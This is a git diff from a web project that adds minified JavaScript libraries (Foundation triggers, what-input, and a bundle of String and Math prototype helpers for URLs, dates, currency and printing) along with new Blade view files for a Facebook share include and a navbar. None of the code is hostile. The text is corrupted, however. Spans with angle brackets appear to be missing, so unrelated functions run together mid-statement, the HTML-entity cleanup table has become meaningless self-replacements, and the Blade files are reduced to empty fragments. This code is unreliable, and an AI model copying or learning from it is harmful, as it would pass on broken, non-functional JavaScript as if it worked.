jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-resize]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'resize.zf.trigger', Triggers.Listeners.Global.resizeListener, $nodes);\n }\n};\n\nTriggers.Initializers.addScrollListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-scroll]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'scroll.zf.trigger', Triggers.Listeners.Global.scrollListener, $nodes);\n }\n};\n\nTriggers.Initializers.addMutationEventsListener = function ($elem) {\n if (!MutationObserver) {\n return false;\n }\n\n var $nodes = $elem.find('[data-resize], [data-scroll], [data-mutate]'); //element callback\n\n var listeningElementsMutation = function listeningElementsMutation(mutationRecordsList) {\n var $target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(mutationRecordsList[0].target); //trigger the event handler for the element depending on type\n\n switch (mutationRecordsList[0].type) {\n case \"attributes\":\n if ($target.attr(\"data-events\") === \"scroll\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('scrollme.zf.trigger', [$target, window.pageYOffset]);\n }\n\n if ($target.attr(\"data-events\") === \"resize\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('resizeme.zf.trigger', [$target]);\n }\n\n if (mutationRecordsList[0].attributeName === \"style\") {\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n }\n\n break;\n\n case \"childList\":\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n break;\n\n default:\n return false;\n //nothing\n }\n };\n\n if ($nodes.length) {\n //for each element that needs to listen for resizing, scrolling, or mutation add a single observer\n for (var i = 0; i <= $nodes.length - 1; i++) {\n var elementObserver = new MutationObserver(listeningElementsMutation);\n elementObserver.observe($nodes[i], {\n attributes: true,\n childList: true,\n characterData: false,\n subtree: true,\n attributeFilter: [\"data-events\", \"style\"]\n });\n }\n }\n};\n\nTriggers.Initializers.addSimpleListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addOpenListener($document);\n Triggers.Initializers.addCloseListener($document);\n Triggers.Initializers.addToggleListener($document);\n Triggers.Initializers.addCloseableListener($document);\n Triggers.Initializers.addToggleFocusListener($document);\n};\n\nTriggers.Initializers.addGlobalListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addMutationEventsListener($document);\n Triggers.Initializers.addResizeListener();\n Triggers.Initializers.addScrollListener();\n Triggers.Initializers.addClosemeListener();\n};\n\nTriggers.init = function ($, Foundation) {\n Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])($(window), function () {\n if ($.triggersInitialized !== true) {\n Triggers.Initializers.addSimpleListeners();\n Triggers.Initializers.addGlobalListeners();\n $.triggersInitialized = true;\n }\n });\n\n if (Foundation) {\n Foundation.Triggers = Triggers; // Legacy included to be backwards compatible for now.\n\n Foundation.IHearYou = Triggers.Initializers.addGlobalListeners;\n }\n};\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.triggers.js?")},jquery:function(module,exports){eval("module.exports = __WEBPACK_EXTERNAL_MODULE_jquery__;\n\n//# sourceURL=webpack:///external_%7B%22root%22:%5B%22jQuery%22%5D,%22amd%22:%22jquery%22,%22commonjs%22:%22jquery%22,%22commonjs2%22:%22jquery%22%7D?")}})}); +/** + * what-input - A global utility for tracking the current input method (mouse, keyboard or touch). + * @version v5.2.1 + * @link https://github.com/ten1seven/what-input + * @license MIT + */ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("whatInput",[],t):"object"==typeof exports?exports.whatInput=t():e.whatInput=t()}(this,function(){return function(n){var o={};function i(e){if(o[e])return o[e].exports;var t=o[e]={exports:{},id:e,loaded:!1};return n[e].call(t.exports,t,t.exports,i),t.loaded=!0,t.exports}return i.m=n,i.c=o,i.p="",i(0)}([function(e,t){"use strict";e.exports=function(){if("undefined"==typeof document||"undefined"==typeof window)return{ask:function(){return"initial"},element:function(){return null},ignoreKeys:function(){},specificKeys:function(){},registerOnChange:function(){},unRegisterOnChange:function(){}};var t=document.documentElement,n=null,a="initial",u=a,o=Date.now();try{window.sessionStorage.getItem("what-input")&&(a=window.sessionStorage.getItem("what-input")),window.sessionStorage.getItem("what-intent")&&(u=window.sessionStorage.getItem("what-intent"))}catch(e){}var d=["button","input","select","textarea"],i=[],c=[16,17,18,91,93],w=[],p={keydown:"keyboard",keyup:"keyboard",mousedown:"mouse",mousemove:"mouse",MSPointerDown:"pointer",MSPointerMove:"pointer",pointerdown:"pointer",pointermove:"pointer",touchstart:"touch",touchend:"touch"},r=!1,s={x:null,y:null},f={2:"touch",3:"touch",4:"mouse"},l=!1;try{var e=Object.defineProperty({},"passive",{get:function(){l=!0}});window.addEventListener("test",null,e)}catch(e){}var h=function(){var e=!!l&&{passive:!0};window.PointerEvent?(window.addEventListener("pointerdown",m),window.addEventListener("pointermove",y)):window.MSPointerEvent?(window.addEventListener("MSPointerDown",m),window.addEventListener("MSPointerMove",y)):(window.addEventListener("mousedown",m),window.addEventListener("mousemove",y),"ontouchstart"in window&&(window.addEventListener("touchstart",m,e),window.addEventListener("touchend",m))),window.addEventListener(b(),y,e),window.addEventListener("keydown",m),window.addEventListener("keyup",m),window.addEventListener("focusin",g),window.addEventListener("focusout",E)},m=function(e){var t=e.which,n=p[e.type];"pointer"===n&&(n=L(e));var o=!w.length&&-1===c.indexOf(t),i=w.length&&-1!==w.indexOf(t),r="keyboard"===n&&t&&(o||i)||"mouse"===n||"touch"===n;if(x(n)&&(r=!1),r&&a!==n){a=n;try{window.sessionStorage.setItem("what-input",a)}catch(e){}v("input")}if(r&&u!==n){var s=document.activeElement;if(s&&s.nodeName&&-1===d.indexOf(s.nodeName.toLowerCase())||"button"===s.nodeName.toLowerCase()&&!k(s,"form")){u=n;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}}},v=function(e){t.setAttribute("data-what"+e,"input"===e?a:u),S(e)},y=function(e){var t=p[e.type];if("pointer"===t&&(t=L(e)),M(e),!r&&!x(t)&&u!==t){u=t;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}},g=function(e){e.target.nodeName?(n=e.target.nodeName.toLowerCase(),t.setAttribute("data-whatelement",n),e.target.classList&&e.target.classList.length&&t.setAttribute("data-whatclasses",e.target.classList.toString().replace(" ",","))):E()},E=function(){n=null,t.removeAttribute("data-whatelement"),t.removeAttribute("data-whatclasses")},L=function(e){return"number"==typeof e.pointerType?f[e.pointerType]:"pen"===e.pointerType?"touch":e.pointerType},x=function(e){var t=Date.now(),n="mouse"===e&&"touch"===a&&t-o<200;return o=t,n},b=function(){return"onwheel"in document.createElement("div")?"wheel":void 0!==document.onmousewheel?"mousewheel":"DOMMouseScroll"},S=function(e){for(var t=0,n=i.length;t=0&&n[t.charCodeAt(e)];)--e;for(++e;r6&&n.length-r<20?n.substring(0,r):n)+"..."}),String.prototype.hasOwnProperty("startsWith")||(String.prototype.startsWith=function(t){return 0===(this+"").indexOf(t)}),String.prototype.hasOwnProperty("endsWith")||(String.prototype.endsWith=function(t){return(this+"").substring(this.length-t.length)===t}),String.prototype.capitalize=function(){return this.charAt(0).toUpperCase()+this.slice(1)},String.prototype.unCamelCase=function(){return this.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()},String.prototype.getExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>=t.length-1?"":t.substring(e+1)},String.prototype.stripExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>t.length-1?t:t.substring(0,e)},String.prototype.hasExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n>=0&&(e=e.substring(n+1).toLowerCase(),(t+",").indexOf(e+",")>=0)},String.prototype.replaceExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n<=0?e:e.substring(0,n+1)+t},String.prototype.fixExtension=function(){return(this+"").replace(/.gif$/gi,".png").replace(/.tif+$/gi,".jpg")},String.prototype.getDir=function(){var t=(this+"").split("#")[0];return t.substring(0,t.lastIndexOf("/")+1)},String.prototype.getFile=function(){var t=(this+"").split("#")[0];return t.substring(t.lastIndexOf("/")+1)},String.prototype.getRelpath=function(t){var e=this+"",n=e.lastIndexOf("#");for(-1===n?n=e.length-1:n--;n>=0&&("/"!==e[n]||0!=t--);n--);return e.substring(n+1)},String.prototype.fixUrl=function(){for(var t,e,n=this+"";(t=n.indexOf("../"))>0;){if(1===t||-1===(e=n.lastIndexOf("/",t-2)))return n.substring(t+3);n=n.substring(0,e)+n.substring(t+2)}return n},String.prototype.fullUrl=function(){var t=this+"";return t.match(/^(http|ftp|file)/)||(t=window.location.href.getDir()+t),t.fixUrl()},String.prototype.cleanupHTML=function(){for(var t=[[/<(b|h)r\/?>/gi,"\n"],[/\&/g,"&"],[/\ /g," "],[/\</g,"<"],[/\>/g,">"],[/\&(m|n)dash;/g,"-"],[/\'/g,"'"],[/\"/g,'"']],e=this+"",n=t.length-1;n>=0;n--)e=e.replace(t[n][0],t[n][1]);return e.replace},String.prototype.stripHTML=function(t){var e=this+"";return t&&(e=e.cleanupHTML()),e.replace(/<\/?[^>]+>/g," ")},String.prototype.stripQuote=function(){return(this+"").replace(/\"/gi,""")},String.prototype.appendSep=function(t,e){return(this.length?this+(e||" · "):"")+t},String.prototype.rgb2hex=function(){var t=this+"";if("#"===t.charAt(0)||"transparent"===t)return t;var e,n=t.match(/\d+/g),r="";if(n){for(var o=0;o0&&n.push.apply(n,t.substring(0,e).split(" ")),t=t.substring(e+1),(e=t.indexOf('"'))<0){n.push(t);break}n.push(t.substring(0,e)),t=t.substring(e+1)}while(t.length);return n},String.prototype.objectify=function(){if(!this||!this.length)return this;var t=this+"";"?"!==t.charAt(0)&&"#"!==t.charAt(0)||(t=t.substring(1));for(var e,n={},r=t.split("&"),o=0,i=r.length;o1&&("img"===e[0]?n.img=e[1]:n[e[0]]=decodeURIComponent(e[1]));return n},String.prototype.testIn=function(t){return"string"!=typeof t&&(t+=""),new RegExp(this,"i").test(t)},String.prototype.testExactMatch=function(t){if(t.constructor!==Array)return this==t+"";for(var e=0,n=t.length;en?n:e},Math.getRange=function(t,e){if(e.constructor!==Array)return t>=e?1:0;if(1===e.length)return t>=e[0]?1:0;if(t=e[n-1]&&t';DIR_PATH=function(){var t=window.location.pathname,e=document.getElementsByTagName("html")[0].getAttribute("data-level")||0;do{t=t.substring(0,t.lastIndexOf("/"))}while(e--);return t+"/"}(),isEmpty=function(t){return null==t||0===Object.getOwnPropertyNames(t).length},paramize=function(t){if("number"==typeof t)return""+t;if("string"==typeof t)return t;if("object"==typeof t){for(var e="",n=Object.getOwnPropertyNames(t),r=n.length,o=0;o=730?(e=translate("yearsAgo"),n=Math.round(t/365)):t>=60?(e=translate("monthsAgo"),n=Math.round(t/30.5)):(e=translate("daysAgo"),n=t),e.replace("{0}",n)},getTimespan=function(t){if(!t)return translate("inThePast24Hours");if(t<2)return translate("inThePast48Hours");var e,n;return t>=730?(e=translate("inThePastNYears"),n=Math.round(t/365)):t>=60?(e=translate("inThePastNMonths"),n=Math.round(t/30.42)):(e=translate("inThePastNDays"),n=t),e.replace("{0}",n)},getFractionValue=function(t){var e=t.match(/^([\d\.]+)\/([\d\.]+)/);return e&&e.length>1&&0!==e[2]?e[1]/e[2]:t},getExposure=function(t){return t=t.includes("/")?getFractionValue(t):parseFloat(t)},getRelativePath=function(t,e){if(typeof e===UNDEF||!e.length||typeof t===UNDEF||!t.length)return"";if(e.endsWith("/")||(e+="/"),"/"===t)return e;if(t.endsWith("/")||(t+="/"),t===e)return"";var n="../../../../../../../../../../../../../../../../../../../../",r=t.split("/");if("/"===e)return n.substring(0,3*r.length);for(var o=e.split("/");r.length&&o.length&&r[0]===o[0];)r.shift(),o.shift();return n.substring(0,3*(r.length-1))+o.join("/")},encodeAsJava=function(t){var e="";for(t=/^(https?:|file:)?\/\//i.test(t)?encodeURI(t):encodeURIComponent(t),i=0;i1?r:t||"index.html")}},setParam=function(t,e,n){if(HISTORY){var r="#"+paramize(e);r!==window.location.hash&&history.pushState(e,void 0===n?"":n,r.length>1?r:t||"index.html")}},removeParam=function(t,e,n){if(HISTORY){var r,o=window.location.hash;o&&(void 0===e?(o="",history.pushState("","",t||"index.html")):("#"===o.charAt(0)&&(o=o.substring(1)),(r=o.objectify()).hasOwnProperty(e)&&(delete r[e],o="#"+paramize(r)),history.pushState(r,void 0===n?"":n,o.length>1?o:t||"index.html")))}},removeSearch=function(t){HISTORY&&history.replaceState(history.state,void 0===t?"":t,window.location.href.replace(window.location.search,""))},readParam=function(){if(HISTORY){if(history.state)return history.state.hasOwnProperty("img")&&(history.state.img=encodeURIComponent(history.state.img)),history.state;var t=window.location.hash;return"#"===t.charAt(0)&&(t=t.substring(1)),t.objectify()}return null},pushAll=function(t,e){if(t instanceof Array)if(e instanceof Array)for(var n=0,r=e.length;n]*\swidth="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*width:\s?([\d\.]+)(r?em|px)"/i),n=t.match(/<\w+\s[^>]*\sheight="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*height:\s?([\d\.]+)(r?em|px)"/i),e?(r[0]=parseFloat(e[1]),"px"!==e[2]&&(r[0]*=16),n?(r[1]=parseFloat(n[1]),"px"!==n[2]&&(r[1]*=16)):r[1]=.75*r[0],r):null):null},currencyToHtml={USD:"US$",EUR:"€",GBP:"GB£",JPY:"¥",HUF:"Ft",CAD:"CAN$",AUD:"AU$",RUB:"₽"},codeToCurrency=function(t){return currencyToHtml.hasOwnProperty(t)?currencyToHtml[t]:t},currencyToHtmlShort={USD:"$",EUR:"€",GBP:"£",JPY:"¥",HUF:"Ft",CAD:"$",AUD:"$",RUB:"₽"},codeToShortCurrency=function(t){return currencyToHtmlShort.hasOwnProperty(t)?currencyToHtmlShort[t]:t},printImage=function(t,e,n){if(t){var r=window.open("about:blank","print","location=no,status=no,titlebar=no");r.document.open(),r.document.write('\n\n\n\n'+(e||"Print")+'\n \ No newline at end of file diff --git a/resources/views/inc/facebook/likeShare.blade.php b/resources/views/inc/facebook/likeShare.blade.php new file mode 100644 index 00000000..19a3997b --- /dev/null +++ b/resources/views/inc/facebook/likeShare.blade.php @@ -0,0 +1 @@ +
    \ No newline at end of file diff --git a/resources/views/inc/navigation/navbar.blade.php b/resources/views/inc/navigation/navbar.blade.php index 5874b208..883e7517 100644 --- a/resources/views/inc/navigation/navbar.blade.php +++ b/resources/views/inc/navigation/navbar.blade.php @@ -191,6 +191,47 @@ @endif +